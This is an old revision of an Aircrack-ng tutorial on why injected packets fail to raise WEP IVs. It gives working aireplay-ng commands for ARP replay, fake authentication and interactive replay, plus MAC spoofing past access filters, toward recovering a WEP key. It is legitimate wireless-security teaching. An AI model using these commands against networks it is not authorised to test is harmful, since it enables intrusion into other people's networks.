This is an old revision of the document!
Version: 1.07 August 20, 2007
A frequent problem that problem that comes up is that packets are being injected but the IVs don't increase. This tutorial provides guidance on determining the root cause of the problem and how to fix it.
Experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.
I would like to acknowledge and thank the Aircrack-ng team for producing such a great robust tool. Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.
First, this solution assumes:
ath0 IEEE 802.11b ESSID:"" Nickname:"" Mode:Monitor Frequency:2.452 GHz Access Point: 00:09:5B:EC:EE:F2 Bit Rate=2 Mb/s Tx-Power:15 dBm Sensitivity=0/3 Retry:off RTS thr:off Fragment thr:off Encryption key:off Power Management:off Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change ath0 to the interface name which is specific to your wireless card.
In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet. In this state, no new IVs are created because the AP is ignoring all the injected packets.
The lack of association with the access point is the single biggest reason why injection fails. OK, lets look at the symptoms so you confirm that this is happening. Then we will look at possible solutions.
Here is your typical clue.
Injection command entered (or similar):
aireplay-ng -3 -b <bssid MAC address> -h <source MAC address> ath0 aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:46:11:19 ath0
Then the system responds:
Saving ARP requests in replay_arp-0123-104950.cap You should also start airodump-ng to capture replies. Notice: got a deauth/disassoc packet. Is the source MAC associated ? Notice: got a deauth/disassoc packet. Is the source MAC associated ? Read 17915 packets (got 3 ARP requests), sent 5854 packets...
Notice the “deauth/disassoc” messages. This says the source MAC “00:0F:B5:41:22:17” is not successfully associated with the access point. In this case, your injected packets are being ignored.
Another way to confirm that the lack of association is causing a problem is to run tcpdump and look at the packets. Start another session while you are injecting and…
Run: “tcpdump -n -e -s0 -vvv -i ath0”
Here is a typical tcpdump error message you are looking for:
11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0f:b5:46:11:19 SA:00:14:6c:7e:40:80 DeAuthentication: Class 3 frame received from nonassociated station
Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0f:b5:46:11:19) you are not associated. Meaning, the AP will not process or accept the injected packets.
If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.
So now that you know the problem, how do you solve it? There are two basic ways to solve the problem:
To associate with an access point, use fake authentication:
aireplay-ng -1 0 -e <SSID> -a <bssid MAC address> -h <source MAC address> ath0 aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Success looks like:
18:18:20 Sending Authentication Request 18:18:20 Authentication successful 18:18:20 Sending Association Request 18:18:20 Association successful :-)
Or another variation for picky access points:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Success looks like:
18:22:32 Sending Authentication Request 18:22:32 Authentication successful 18:22:32 Sending Association Request 18:22:32 Association successful :-) 18:22:42 Sending keep-alive packet 18:22:52 Sending keep-alive packet # and so on.
At this point, you can start another session and try the packet injection. With luck you are properly associated and the injected packets cause the IVs to increase. Keep an eye on the fake authentication to ensure your remain associated. Then use airodump-ng to capture the IVs and aircrack-ng to obtain the WEP key.
To determine if MAC access control is in place, enter the following command:
tcpdump -n -vvv -s0 -e -i ath0 | grep -i -E "(RA:00:c0:ca:17:db:6a|Authentication|ssoc)"
You will have to change “00:c0:ca:17:db:6a” to the injection MAC address. It is case sensitive and typically lowercase. You may need to look at the tcpdump output without the grep filter to verify the case.
When you are trying to do fake authentication, the exchange should look identical to the wep.open.system.authentication.cap file which comes with the aircrack-ng software. This file can be read into tcpdump as…
tcpdump -n -e -vvv -r wep.open.system.authentication.cap
Basically you should see two authentication packets and then two association packets. If your real life capture does not contain all four packets and your fake authentication is failing then there is a MAC filter in place. In this case, you must use the MAC address of a client already associated with the AP. To do this, change the MAC address of your card to it. See How do I change my card's MAC address?
Here is an example of what a failed authentication looks like:
8:28:02 Sending Authentication Request 18:28:02 Authentication successful 18:28:02 Sending Association Request 18:28:02 Association successful :-) 18:28:02 Got a deauthentication packet! 18:28:05 Sending Authentication Request 18:28:05 Authentication successful 18:28:05 Sending Association Request 18:28:10 Sending Authentication Request 18:28:10 Authentication successful 18:28:10 Sending Association Request
Notice the “Got a deauthentication packet” and the continuous retries above.
An alternate approach is to replay packets from a wireless client which is currently associated with the AP. This eliminates the need to use fake authentication since you be piggy backing on client MAC address which is already associated with the AP.
Use the interactive replay attack instead. We are going to look for an arp packet coming from an already associated wireless client going to the access point. We know that this arp packet will be rebroadcast by the AP and generate an IV. ARP packets coming from a wireless client are normally 68 bytes long with a broadcast MAC address.
So we construct a request which selects the packets we are looking for:
aireplay-ng -2 -a <bssid MAC address> -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 <interface>
Where: -d FF:FF:FF:FF:FF:FF - broadcast - m 68 - minimum packet length of 68 - n 68 - maximum packet length of 68 - t 1 - packet is going to the access point - f 0 - packet is not coming from the access point
This will display each packet captured for you to inspect before being used. Just ensure the packet you select is one of the wireless clients already associated with the access point.
Here is an example:
aireplay-ng -2 -a 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -m 68 -n 68 -t 1 -f 0 ath0 Read 202 packets... Size: 68, FromDS: 0, ToDS: 1 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:0F:B5:AB:CB:9D 0x0000: 0841 d400 0014 6c7e 4080 000f b5ab cb9d .A....l~@....... 0x0010: ffff ffff ffff a00f 010a dd00 a795 2871 ..............(q 0x0020: 59e5 935b b75f bf9d 718b d5d7 919e 2d45 Y..[._..q.....-E 0x0030: a89b 22b3 2c70 b3c3 03b0 8481 5787 88ce ..".,p......W... 0x0040: b199 6479 ..dy Use this packet ? y Saving chosen packet in replay_src-0124-120102.cap You should also start airodump-ng to capture replies.